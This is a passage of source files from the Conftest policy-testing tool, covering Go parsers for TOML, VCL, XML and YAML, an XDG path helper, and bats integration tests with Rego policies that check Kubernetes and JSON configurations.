-------------------------------------------------------------------------------- /parser/toml/toml.go: -------------------------------------------------------------------------------- 1 | package toml 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/BurntSushi/toml" 7 | ) 8 | 9 | // Parser is a TOML parser. 10 | type Parser struct{} 11 | 12 | // Unmarshal unmarshals TOML files. 13 | func (tp *Parser) Unmarshal(p []byte, v any) error { 14 | if err := toml.Unmarshal(p, v); err != nil { 15 | return fmt.Errorf("unmarshal toml: %w", err) 16 | } 17 | 18 | return nil 19 | } 20 | -------------------------------------------------------------------------------- /parser/toml/toml_test.go: -------------------------------------------------------------------------------- 1 | package toml 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestTomlParser(t *testing.T) { 8 | parser := &Parser{} 9 | sample := `defaultEntryPoints = ["http", "https"] 10 | 11 | [entryPoints] 12 | [entryPoints.http] 13 | address = ":80" 14 | compress = true` 15 | 16 | var input any 17 | if err := parser.Unmarshal([]byte(sample), &input); err != nil { 18 | t.Fatalf("parser should not have thrown an error: %v", err) 19 | } 20 | 21 | if input == nil { 22 | t.Fatalf("there should be information parsed but its nil") 23 | } 24 | 25 | inputMap := input.(map[string]any) 26 | item := inputMap["entryPoints"] 27 | if len(item.(map[string]any)) == 0 { 28 | t.Error("there should be at least one item defined in the parsed file, but none found") 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /parser/vcl/vcl.go: -------------------------------------------------------------------------------- 1 | package vcl 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | 7 | "github.com/KeisukeYamashita/go-vcl/vcl" 8 | ) 9 | 10 | // Parser is a VCL parser. 11 | type Parser struct{} 12 | 13 | // Unmarshal unmarshals VCL files. 14 | func (p *Parser) Unmarshal(b []byte, v any) error { 15 | result := make(map[string]any) 16 | if errs := vcl.Decode(b, &result); len(errs) > 0 { 17 | return fmt.Errorf("decode vcl: %w", errs[0]) 18 | } 19 | 20 | j, err := json.Marshal(result) 21 | if err != nil { 22 | return fmt.Errorf("marshal vcl to json: %w", err) 23 | } 24 | 25 | if err := json.Unmarshal(j, v); err != nil { 26 | return fmt.Errorf("unmarshal vcl json: %w", err) 27 | } 28 | 29 | return nil 30 | } 31 | -------------------------------------------------------------------------------- /parser/vcl/vcl_test.go: -------------------------------------------------------------------------------- 1 | package vcl 2 | 3 | import "testing" 4 | 5 | func TestVCLParser(t *testing.T) { 6 | parser := &Parser{} 7 | sample := `acl purge { 8 | "127.0.0.1"; 9 | "localhost"; 10 | }` 11 | 12 | var input any 13 | if err := parser.Unmarshal([]byte(sample), &input); err != nil { 14 | t.Fatalf("parser should not have thrown an error: %v", err) 15 | } 16 | 17 | if input == nil { 18 | t.Error("there should be information parsed but its nil") 19 | } 20 | 21 | item := input.(map[string]any) 22 | 23 | if len(item) == 0 { 24 | t.Error("there should be at least one item defined in the parsed file, but none found") 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /parser/xml/xml.go: -------------------------------------------------------------------------------- 1 | package xml 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "fmt" 7 | 8 | x "github.com/basgys/goxml2json" 9 | ) 10 | 11 | // Parser is an XML parser. 12 | type Parser struct{} 13 | 14 | // Unmarshal unmarshals XML files. 15 | func (xml *Parser) Unmarshal(p []byte, v any) error { 16 | res, err := x.Convert(bytes.NewReader(p)) 17 | if err != nil { 18 | return fmt.Errorf("unmarshal xml: %w", err) 19 | } 20 | 21 | if err := json.Unmarshal(res.Bytes(), v); err != nil { 22 | return fmt.Errorf("convert xml to json: %w", err) 23 | } 24 | 25 | return nil 26 | } 27 | -------------------------------------------------------------------------------- /parser/xml/xml_test.go: -------------------------------------------------------------------------------- 1 | package xml 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestXMLParser(t *testing.T) { 8 | parser := &Parser{} 9 | sample := ` 10 | foo 11 | bar 12 | Reminder 13 | baz 14 | ` 15 | 16 | var input any 17 | if err := parser.Unmarshal([]byte(sample), &input); err != nil { 18 | t.Fatalf("parser should not have thrown an error: %v", err) 19 | } 20 | 21 | if input == nil { 22 | t.Fatalf("there should be information parsed but its nil") 23 | } 24 | 25 | inputMap := input.(map[string]any) 26 | item := inputMap["note"] 27 | if len(item.(map[string]any)) == 0 { 28 | t.Error("there should be at least one item defined in the parsed file, but none found") 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /parser/yaml/yaml.go: -------------------------------------------------------------------------------- 1 | package yaml 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "slices" 7 | 8 | "sigs.k8s.io/yaml" 9 | ) 10 | 11 | // Parser is a YAML parser. 12 | type Parser struct{} 13 | 14 | var ( 15 | lf = []byte{'\n'} 16 | crlf = []byte{'\r', '\n'} 17 | sep = []byte{'-', '-', '-'} 18 | ) 19 | 20 | // Unmarshal unmarshals YAML files. 21 | func (yp *Parser) Unmarshal(p []byte, v any) error { 22 | subDocuments := separateSubDocuments(p) 23 | if len(subDocuments) > 1 { 24 | if err := unmarshalMultipleDocuments(subDocuments, v); err != nil { 25 | return fmt.Errorf("unmarshal multiple documents: %w", err) 26 | } 27 | 28 | return nil 29 | } 30 | 31 | if err := yaml.Unmarshal(p, v); err != nil { 32 | return fmt.Errorf("unmarshal yaml: %w", err) 33 | } 34 | 35 | return nil 36 | } 37 | 38 | func separateSubDocuments(data []byte) [][]byte { 39 | // Determine line ending style 40 | linebreak := lf 41 | if bytes.Contains(data, crlf) { 42 | linebreak = crlf 43 | } 44 | 45 | separator := slices.Concat(linebreak, sep, linebreak) 46 | 47 | // Count actual document separators 48 | parts := bytes.Split(data, separator) 49 | 50 | // If we have a directive, first part is not a separate document 51 | if bytes.HasPrefix(data, []byte("%")) { 52 | if len(parts) <= 2 { 53 | // Single document with directive 54 | return [][]byte{data} 55 | } 56 | // Multiple documents - combine directive with first real document 57 | firstDoc := append(parts[0], append(separator, parts[1]...)...) 58 | result := [][]byte{firstDoc} 59 | result = append(result, parts[2:]...) 60 | return result 61 | } 62 | 63 | // No directive case 64 | if len(parts) <= 1 { 65 | // Single document 66 | return [][]byte{data} 67 | } 68 | return parts 69 | } 70 | 71 | func unmarshalMultipleDocuments(subDocuments [][]byte, v any) error { 72 | var documentStore []any 73 | for _, subDocument := range subDocuments { 74 | var documentObject any 75 | if err := yaml.Unmarshal(subDocument, &documentObject); err != nil { 76 | return fmt.Errorf("unmarshal subdocument yaml: %w", err) 77 | } 78 | 79 | documentStore = append(documentStore, documentObject) 80 | } 81 | 82 | yamlConfigBytes, err := yaml.Marshal(documentStore) 83 | if err != nil { 84 | return fmt.Errorf("marshal yaml document: %w", err) 85 | } 86 | 87 | if err := yaml.Unmarshal(yamlConfigBytes, v); err != nil { 88 | return fmt.Errorf("unmarshal yaml: %w", err) 89 | } 90 | 91 | return nil 92 | } 93 | -------------------------------------------------------------------------------- /plugin/xdg.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "path/filepath" 7 | "strings" 8 | ) 9 | 10 | const ( 11 | // XDGDataHome is the directory to search for data files in the XDG spec 12 | XDGDataHome = "XDG_DATA_HOME" 13 | 14 | // XDGDataDirs defines an additional list of directories which can be searched for data files 15 | XDGDataDirs = "XDG_DATA_DIRS" 16 | ) 17 | 18 | type xdgPath string 19 | 20 | // Preferred returns the preferred path according to the XDG specification 21 | func (p xdgPath) Preferred(path string) string { 22 | dataHome := os.Getenv(XDGDataHome) 23 | if dataHome != "" { 24 | return filepath.ToSlash(filepath.Join(dataHome, string(p), path)) 25 | } 26 | 27 | dataDirs := os.Getenv(XDGDataDirs) 28 | if dataDirs != "" { 29 | dirs := strings.Split(dataDirs, ":") 30 | return filepath.ToSlash(filepath.Join(dirs[0], string(p), path)) 31 | } 32 | 33 | homeDir, _ := os.UserHomeDir() 34 | return filepath.ToSlash(filepath.Join(homeDir, string(p), path)) 35 | } 36 | 37 | // Find verifies whether the file exists somewhere in the expected XDG 38 | // preference order. If no error is returned, the given string indicates 39 | // where the file was found. 40 | func (p xdgPath) Find(path string) (string, error) { 41 | dataHome := os.Getenv(XDGDataHome) 42 | if dataHome != "" { 43 | dir := filepath.ToSlash(filepath.Join(dataHome, string(p), path)) 44 | _, err := os.Stat(dir) 45 | if err != nil && !os.IsNotExist(err) { 46 | return "", fmt.Errorf("get data home directory: %w", err) 47 | } 48 | 49 | if err == nil { 50 | return dir, nil 51 | } 52 | } 53 | 54 | dataDirs := os.Getenv(XDGDataDirs) 55 | if dataDirs != "" { 56 | dirs := strings.Split(dataDirs, ":") 57 | for _, dataDir := range dirs { 58 | dir := filepath.ToSlash(filepath.Join(dataDir, string(p), path)) 59 | _, err := os.Stat(dir) 60 | if err != nil && !os.IsNotExist(err) { 61 | return "", fmt.Errorf("get data dirs directory: %w", err) 62 | } 63 | 64 | if err == nil { 65 | return dir, nil 66 | } 67 | } 68 | } 69 | 70 | homeDir, err := os.UserHomeDir() 71 | if err != nil { 72 | return "", fmt.Errorf("get home dir: %w", err) 73 | } 74 | 75 | dir := filepath.ToSlash(filepath.Join(homeDir, string(p), path)) 76 | _, err = os.Stat(dir) 77 | if err != nil { 78 | return "", fmt.Errorf("get data dirs directory: %w", err) 79 | } 80 | 81 | return dir, nil 82 | } 83 | -------------------------------------------------------------------------------- /requirements-dev.txt: -------------------------------------------------------------------------------- 1 | pre-commit==4.1.0 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | mkdocs==1.3.0 2 | mkdocs-material==4.6.3 3 | -------------------------------------------------------------------------------- /runtime.txt: -------------------------------------------------------------------------------- 1 | 3.8 -------------------------------------------------------------------------------- /scripts/validate-conventional-commit-prefix.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -eo pipefail 4 | 5 | code=0 6 | while read -r commit; do 7 | match=$(echo "${commit}" | grep -o -h -E "^[a-z]+(\([a-z]+\))?: " || true) 8 | if [[ -z "${match}" ]]; then 9 | echo "::error::Commit \"${commit}\" does not have the required conventional commit prefix. See https://www.conventionalcommits.org/ for more info." 10 | code=1 11 | else 12 | echo "Commit \"${commit}\" has conventional commit prefix \"${match}\"." 13 | fi 14 | done < <(git --no-pager log --pretty=format:%s && echo "") # git log does not include newline after last commit 15 | 16 | exit ${code} 17 | -------------------------------------------------------------------------------- /tests/README.md: -------------------------------------------------------------------------------- 1 | # Tests 2 | 3 | This directory contains [bats](https://github.com/bats-core/bats-core) tests for verifying the functionality of Conftest. 4 | 5 | All tests should have a file named `test.bats` which contains the test suite. 6 | -------------------------------------------------------------------------------- /tests/annotations/exclusions/services.yaml: -------------------------------------------------------------------------------- 1 | services: 2 | ports: 3 | - 22 4 | - 21 -------------------------------------------------------------------------------- /tests/annotations/policy/base.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | import data.services 5 | 6 | name := input.metadata.name 7 | 8 | kind := input.kind 9 | 10 | type := input.spec.type 11 | 12 | # METADATA 13 | # title: Example using annotations 14 | # custom: 15 | # template: 'Cannot expose port %v on LoadBalancer. Denied ports: %v' 16 | deny contains msg if { 17 | kind == "Service" 18 | type == "LoadBalancer" 19 | 20 | some p 21 | input.spec.ports[p].port 22 | 23 | input.spec.ports[p].port == services.ports[_] 24 | 25 | metadata := rego.metadata.rule() 26 | msg := sprintf(metadata.custom.template, [input.spec.ports[p].port, services.ports]) 27 | } 28 | -------------------------------------------------------------------------------- /tests/annotations/policy/base_test.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | test_service_denied if { 5 | service := { 6 | "kind": "Service", 7 | "metadata": {"name": "sample"}, 8 | "spec": { 9 | "type": "LoadBalancer", 10 | "ports": [{"port": 22}], 11 | }, 12 | } 13 | 14 | deny["Cannot expose port 22 on LoadBalancer. Denied ports: [22, 21]"] with input as service 15 | } 16 | -------------------------------------------------------------------------------- /tests/annotations/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: hello-kubernetes 5 | spec: 6 | type: LoadBalancer 7 | ports: 8 | - port: 22 9 | targetPort: 22 10 | selector: 11 | app: hello-kubernetes 12 | -------------------------------------------------------------------------------- /tests/annotations/test.bats: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bats 2 | 3 | @test "Can verify policies that rely on annotations" { 4 | run $CONFTEST verify --data exclusions service.yaml 5 | 6 | [ "$status" -eq 0 ] 7 | echo $output 8 | [[ "$output" =~ "1 test, 1 passed, 0 warnings, 0 failures" ]] 9 | } 10 | -------------------------------------------------------------------------------- /tests/builtin-errors/policy/main.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains {"msg": msg} if { 5 | input.test_field == 123 6 | msg := "some error" 7 | } 8 | -------------------------------------------------------------------------------- /tests/builtin-errors/policy/main_test.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | test_deny_valid if { 5 | not deny with input as parse_config_file("file_does_not_exist.yaml") 6 | } 7 | -------------------------------------------------------------------------------- /tests/builtin-errors/test.bats: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bats 2 | 3 | @test "Parsing error without show-builtin-errors flag returns test failed" { 4 | run $CONFTEST verify --show-builtin-errors=false 5 | 6 | [ "$status" -eq 1 ] 7 | echo $output 8 | [[ "$output" =~ "1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions, 0 skipped" ]] 9 | } 10 | 11 | @test "Parsing error with show-builtin-errors flag returns builtin error" { 12 | run $CONFTEST verify --show-builtin-errors=true 13 | 14 | [ "$status" -eq 1 ] 15 | echo $output 16 | [[ "$output" =~ "file_does_not_exist.yaml: no such file or directory" ]] 17 | } 18 | -------------------------------------------------------------------------------- /tests/document/policy/base.rego: -------------------------------------------------------------------------------- 1 | # METADATA 2 | # title: Example using annotations 3 | # description: This package validates that ... 4 | package main 5 | import rego.v1 6 | 7 | import data.services 8 | 9 | name := input.metadata.name 10 | kind := input.kind 11 | type := input.spec.type 12 | 13 | # METADATA 14 | # title: Example using annotations 15 | # description: This rule validates that ... 16 | # custom: 17 | # template: 'Cannot expose port %v on LoadBalancer. Denied ports: %v' 18 | deny contains msg if { 19 | kind == "Service" 20 | type == "LoadBalancer" 21 | 22 | some p 23 | input.spec.ports[p].port 24 | 25 | input.spec.ports[p].port == services.ports[_] 26 | 27 | metadata := rego.metadata.rule() 28 | msg := sprintf(metadata.custom.template, [input.spec.ports[p].port, services.ports]) 29 | } 30 | -------------------------------------------------------------------------------- /tests/document/policy/base_test.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | test_service_denied if { 5 | service := { 6 | "kind": "Service", 7 | "metadata": {"name": "sample"}, 8 | "spec": { 9 | "type": "LoadBalancer", 10 | "ports": [{"port": 22}], 11 | }, 12 | } 13 | 14 | deny["Cannot expose port 22 on LoadBalancer. Denied ports: [22, 21]"] with input as service 15 | } 16 | -------------------------------------------------------------------------------- /tests/document/policy/sub/bar.rego: -------------------------------------------------------------------------------- 1 | # METADATA 2 | # title: Example using annotations 3 | # description: This package validates that ... 4 | # custom: 5 | # template: 'Cannot expose port %v on LoadBalancer. Denied ports: %v' 6 | package main.sub 7 | import rego.v1 8 | 9 | import data.services 10 | 11 | name := input.metadata.name 12 | kind := input.kind 13 | type := input.spec.type 14 | 15 | # METADATA 16 | # title: Example using annotations 17 | # description: This rule validates that ... 18 | # custom: 19 | # template: 'Cannot expose port %v on LoadBalancer. Denied ports: %v' 20 | deny contains msg if { 21 | kind == "Service" 22 | type == "LoadBalancer" 23 | 24 | some p 25 | input.spec.ports[p].port 26 | 27 | input.spec.ports[p].port == services.ports[_] 28 | 29 | metadata := rego.metadata.rule() 30 | msg := sprintf(metadata.custom.template, [input.spec.ports[p].port, services.ports]) 31 | } 32 | 33 | # METADATA 34 | # title: Second Example using annotations 35 | # description: This rule validates that ... 36 | # custom: 37 | # template: 'Cannot expose port %v on LoadBalancer. Denied ports: %v' 38 | deny contains msg if { 39 | kind == "Service" 40 | type == "LoadBalancer" 41 | 42 | some p 43 | input.spec.ports[p].port 44 | 45 | input.spec.ports[p].port == services.ports[_] 46 | 47 | metadata := rego.metadata.rule() 48 | msg := sprintf(metadata.custom.template, [input.spec.ports[p].port, services.ports]) 49 | } 50 | 51 | -------------------------------------------------------------------------------- /tests/document/template.md.tpl: -------------------------------------------------------------------------------- 1 | {{ range . -}} 2 | {{ .RegoPackageName }} has annotations {{ .Annotations }} 3 | {{ end -}} 4 | -------------------------------------------------------------------------------- /tests/document/test.bats: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bats 2 | 3 | @test "Can document the policies" { 4 | rm -f "policy.md" 5 | run $CONFTEST doc ./policy 6 | 7 | [ "$status" -eq 0 ] 8 | echo $output 9 | [ -f "policy.md" ] 10 | } 11 | 12 | @test "Can document the sub package" { 13 | rm -f "sub.md" 14 | run $CONFTEST doc ./policy/sub 15 | 16 | [ "$status" -eq 0 ] 17 | echo $output 18 | [ -f "sub.md" ] 19 | } 20 | 21 | @test "Can document using custom template and output" { 22 | rm -f "custom/policy.md" 23 | mkdir -p "custom" 24 | run $CONFTEST doc -t ./template.md.tpl -o ./custom ./policy 25 | 26 | [ "$status" -eq 0 ] 27 | echo $output 28 | [ -f "custom/policy.md" ] 29 | } 30 | 31 | -------------------------------------------------------------------------------- /tests/multidir/data.json: -------------------------------------------------------------------------------- 1 | { 2 | "foo": "bar", 3 | "baz": "qux" 4 | } 5 | -------------------------------------------------------------------------------- /tests/multidir/org/main.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | input.foo = "bar" 6 | msg = "Org policy forbids foo=bar" 7 | } 8 | -------------------------------------------------------------------------------- /tests/multidir/team/main.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | input.baz = "qux" 6 | msg = "Team policy forbids baz=qux" 7 | } 8 | -------------------------------------------------------------------------------- /tests/multidir/test.bats: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bats 2 | 3 | @test "Can have multiple policy flags" { 4 | run $CONFTEST test --policy org --policy team data.json 5 | 6 | [ "$status" -eq 1 ] 7 | [[ "$output" =~ "2 tests, 0 passed, 0 warnings, 2 failures" ]] 8 | } 9 | -------------------------------------------------------------------------------- /tests/multiple-runs-with-update/file.json: -------------------------------------------------------------------------------- 1 | {} 2 | -------------------------------------------------------------------------------- /tests/multiple-runs-with-update/policy/main.rego: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import rego.v1 4 | 5 | deny contains msg if { 6 | input.bar == "baz" 7 | msg := "local-policy" 8 | } 9 | -------------------------------------------------------------------------------- /tests/multiple-runs-with-update/remote-policy/policy.rego: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import rego.v1 4 | 5 | deny contains msg if { 6 | input.bar == "baz" 7 | msg := "remote-policy" 8 | } 9 | -------------------------------------------------------------------------------- /tests/multiple-runs-with-update/test.bats: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bats 2 | 3 | DIR="$( cd "$( dirname "${BATS_TEST_FILENAME}" )" >/dev/null 2>&1 && pwd )" 4 | REMOTE_POLICY_FILE="file::${DIR}/remote-policy/policy.rego" 5 | 6 | @test "First run of policy fetched with --update flag" { 7 | run $CONFTEST test -p policy --update ${REMOTE_POLICY_FILE} file.json 8 | [ "$status" -eq 0 ] 9 | [[ "$output" =~ "2 tests, 2 passed, 0 warnings, 0 failures" ]] 10 | } 11 | 12 | @test "Second run of policy fetched with --update flag" { 13 | run $CONFTEST test -p policy --update ${REMOTE_POLICY_FILE} file.json 14 | [ "$status" -eq 0 ] 15 | [[ "$output" =~ "2 tests, 2 passed, 0 warnings, 0 failures" ]] 16 | } 17 | -------------------------------------------------------------------------------- /tests/multitype/deployment.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | labels: 5 | app: grafana 6 | name: grafana 7 | namespace: monitoring 8 | spec: 9 | replicas: 1 10 | selector: 11 | matchLabels: 12 | app: grafana 13 | template: 14 | metadata: 15 | labels: 16 | app: grafana 17 | spec: 18 | containers: 19 | - image: grafana/grafana:6.4.3 20 | name: grafana 21 | ports: 22 | - containerPort: 3001 23 | name: http 24 | readinessProbe: 25 | httpGet: 26 | path: /api/health 27 | port: http 28 | resources: 29 | limits: 30 | cpu: 200m 31 | memory: 200Mi 32 | requests: 33 | cpu: 100m 34 | memory: 100Mi 35 | -------------------------------------------------------------------------------- /tests/multitype/policy/base.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | import data.grafana 5 | import data.kubernetes 6 | 7 | port := 3000 8 | 9 | deny contains msg if { 10 | kubernetes.is_deployment 11 | not input.spec.template.spec.containers[0].ports[0].containerPort = 3000 12 | msg = sprintf("Port should be %d", [port]) 13 | } 14 | 15 | deny contains msg if { 16 | grafana.is_config 17 | not input.server.http_port = "3000" 18 | msg = sprintf("Port should be %d", [port]) 19 | } 20 | -------------------------------------------------------------------------------- /tests/multitype/policy/grafana.rego: -------------------------------------------------------------------------------- 1 | package grafana 2 | import rego.v1 3 | 4 | is_config if { 5 | input.server.protocol = http 6 | } 7 | -------------------------------------------------------------------------------- /tests/multitype/policy/kubernetes.rego: -------------------------------------------------------------------------------- 1 | package kubernetes 2 | import rego.v1 3 | 4 | is_deployment if { 5 | input.kind = "Deployment" 6 | } 7 | -------------------------------------------------------------------------------- /tests/multitype/test.bats: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bats 2 | 3 | @test "Can parse multi-type files" { 4 | run $CONFTEST test deployment.yaml grafana.ini 5 | [ "$status" -eq 1 ] 6 | [[ "$output" =~ "Port should be" ]] 7 | } 8 | -------------------------------------------------------------------------------- /tests/nested/data.json: -------------------------------------------------------------------------------- 1 | { 2 | "hello": "world" 3 | } -------------------------------------------------------------------------------- /tests/nested/policy/group1/main.rego: -------------------------------------------------------------------------------- 1 | package group1 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | input.hello = "world" 6 | msg = "nested json group1 failed" 7 | } 8 | -------------------------------------------------------------------------------- /tests/nested/policy/group2/main.rego: -------------------------------------------------------------------------------- 1 | package group2 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | input.hello = "world" 6 | msg = "nested json group2 failed" 7 | } 8 | -------------------------------------------------------------------------------- /tests/nested/test.bats: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bats 2 | 3 | @test "Can parse nested files with name overlap (first)" { 4 | run $CONFTEST test --namespace group1 data.json 5 | [ "$status" -eq 1 ] 6 | } 7 | 8 | @test "Can parse nested files with name overlap (second)" { 9 | run $CONFTEST test --namespace group2 data.json 10 | [ "$status" -eq 1 ] 11 | } 12 | 13 | @test "Can have multiple namespace flags" { 14 | run $CONFTEST test --namespace group1 --namespace group2 data.json 15 | 16 | [ "$status" -eq 1 ] 17 | [[ "$output" =~ "2 tests, 0 passed, 0 warnings, 2 failures" ]] 18 | } 19 | -------------------------------------------------------------------------------- /tests/plugin/test.bats: -------------------------------------------------------------------------------- 1 | @test "Can install plugin from directory" { 2 | run $CONFTEST plugin install ../../contrib/plugins/kubectl 3 | [ "$status" -eq 0 ] 4 | 5 | run $CONFTEST kubectl 6 | [ "$status" -eq 0 ] 7 | } 8 | 9 | @test "Can install plugin from URL" { 10 | run $CONFTEST plugin install github.com/open-policy-agent/conftest/contrib/plugins/kubectl 11 | [ "$status" -eq 0 ] 12 | 13 | run $CONFTEST kubectl 14 | [ "$status" -eq 0 ] 15 | } 16 | -------------------------------------------------------------------------------- /tests/pre-commit/README.md: -------------------------------------------------------------------------------- 1 | # Pre-commit Hook Tests 2 | 3 | These tests verify the functionality of Conftest's pre-commit hook integration. 4 | 5 | ## Test Cases 6 | 7 | 1. Hook Installation 8 | - Verifies that the pre-commit hook can be installed successfully 9 | 10 | 2. Basic Policy Validation 11 | - Tests single policy validation using the basic example 12 | 13 | ## Running Tests 14 | 15 | The tests are automatically run as part of the project's CI pipeline. To run them locally: 16 | 17 | ```bash 18 | bats tests/pre-commit/test.bats 19 | ``` 20 | 21 | Note: Requires pre-commit to be installed (`pip install -r requirements-dev.txt`) -------------------------------------------------------------------------------- /tests/pre-commit/test.bats: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bats 2 | 3 | DIR="$( cd "$( dirname "${BATS_TEST_FILENAME}" )" >/dev/null 2>&1 && pwd )" 4 | PROJECT_ROOT="$( cd "$DIR/../.." >/dev/null 2>&1 && pwd )" 5 | 6 | # Git configuration for temporary repo 7 | GIT_AUTHOR_NAME="Conftest Test User" 8 | GIT_AUTHOR_EMAIL="conftest@example.tld" 9 | 10 | setup_file() { 11 | # Create a temporary directory for testing 12 | export TEST_REPO=$(mktemp -d) 13 | cd "$TEST_REPO" 14 | 15 | # Initialize a new Git repository 16 | git init 17 | 18 | # Configure Git to use environment variables and disable signing 19 | git config commit.gpgsign false 20 | git config tag.gpgsign false 21 | git config user.name "$GIT_AUTHOR_NAME" 22 | git config user.email "$GIT_AUTHOR_EMAIL" 23 | 24 | # Copy necessary files from the main repo 25 | mkdir -p examples 26 | cp -r "$PROJECT_ROOT/examples/kubernetes" examples/ 27 | 28 | # Create pre-commit config 29 | cat > .pre-commit-config.yaml << EOF 30 | repos: 31 | - repo: ${PROJECT_ROOT} 32 | rev: HEAD 33 | hooks: 34 | - id: conftest-test 35 | args: 36 | - --policy 37 | - examples/kubernetes/policy 38 | - id: conftest-verify 39 | args: 40 | - --policy 41 | - examples/kubernetes/policy 42 | EOF 43 | 44 | # Add and commit files 45 | git add . 46 | git commit -m "Initial commit" 47 | 48 | # Install pre-commit hooks in the temporary repo 49 | run pre-commit try-repo "$PROJECT_ROOT" 50 | run pre-commit install --hook-type pre-commit 51 | [ "$status" -eq 0 ] 52 | } 53 | 54 | teardown_file() { 55 | # Clean up the temporary repository 56 | rm -rf "$TEST_REPO" 57 | } 58 | 59 | @test "pre-commit: test hook validates as expected" { 60 | cd "$TEST_REPO" 61 | run pre-commit run conftest-test --files examples/kubernetes/deployment.yaml 62 | [ "$status" -eq 1 ] 63 | [[ "$output" =~ "Containers must not run as root" ]] 64 | } 65 | 66 | @test "pre-commit: verify hook runs policy tests" { 67 | cd "$TEST_REPO" 68 | run pre-commit run conftest-verify 69 | [ "$status" -eq 0 ] 70 | } 71 | -------------------------------------------------------------------------------- /tests/problematic-if/data.yaml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/open-policy-agent/conftest/1e43dc0dd0c39a6c8204df07cfacc48e9dd3caa9/tests/problematic-if/data.yaml -------------------------------------------------------------------------------- /tests/problematic-if/policy/invalid.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | 5 | deny[msg] if { 6 | msg := "foo" 7 | } 8 | -------------------------------------------------------------------------------- /tests/problematic-if/policy/valid.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | 5 | deny contains msg if { 6 | msg := "foo" 7 | } 8 | -------------------------------------------------------------------------------- /tests/problematic-if/policy/valid_bare_deny.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny if { 5 | true 6 | } 7 | -------------------------------------------------------------------------------- /tests/problematic-if/test.bats: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bats 2 | 3 | @test "Test works as expected using contains and if" { 4 | run $CONFTEST test --policy=policy/valid.rego data.yaml 5 | 6 | [ "$status" -eq 1 ] 7 | echo $output 8 | [[ "$output" =~ "1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions" ]] 9 | } 10 | 11 | @test "Bare deny rule can be used without contains or if" { 12 | run $CONFTEST test --policy=policy/valid_bare_deny.rego data.yaml 13 | 14 | [ "$status" -eq 0 ] 15 | echo $output 16 | [[ "$output" =~ "1 test, 1 passed, 0 warnings, 0 failures, 0 exceptions" ]] 17 | } 18 | 19 | @test "Error is raised when if is used without contains" { 20 | run $CONFTEST test --policy=policy/invalid.rego data.yaml 21 | 22 | [ "$status" -eq 1 ] 23 | echo $output 24 | [[ "$output" =~ "'if' keyword without 'contains' keyword" ]] 25 | } 26 | -------------------------------------------------------------------------------- /tests/pull-absolute-paths/test.bats: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bats 2 | 3 | setup() { 4 | # Create temporary directories for testing 5 | export TEMP_DIR=$(mktemp -d) 6 | export REL_TEMP_DIR="examples/tmp-conftest-test-$$" 7 | export ABS_POLICY_DIR="${TEMP_DIR}/conftest-policies" 8 | mkdir -p "${ABS_POLICY_DIR}" 9 | mkdir -p "${REL_TEMP_DIR}" 10 | } 11 | 12 | teardown() { 13 | # Clean up temporary directories 14 | rm -rf "${TEMP_DIR}" 15 | rm -rf "${REL_TEMP_DIR}" 16 | } 17 | 18 | @test "Pull command works with relative paths (default behavior)" { 19 | run $CONFTEST pull --policy $REL_TEMP_DIR https://raw.githubusercontent.com/open-policy-agent/conftest/master/examples/compose/policy/deny.rego 20 | [ "$status" -eq 0 ] 21 | [ -d "$REL_TEMP_DIR" ] 22 | [ -f "$REL_TEMP_DIR/deny.rego" ] 23 | } 24 | 25 | @test "Pull command uses absolute paths as relative when --absolute-paths is not set" { 26 | run $CONFTEST pull --policy "${ABS_POLICY_DIR}" https://raw.githubusercontent.com/open-policy-agent/conftest/master/examples/compose/policy/deny.rego 27 | [ "$status" -eq 0 ] 28 | # The policy should be downloaded to ./ABS_POLICY_DIR instead of the absolute path 29 | [ ! -d "${ABS_POLICY_DIR}/deny.rego" ] 30 | [ -f "./${ABS_POLICY_DIR}/deny.rego" ] 31 | } 32 | 33 | @test "Pull command works with absolute path when --absolute-paths is set" { 34 | run 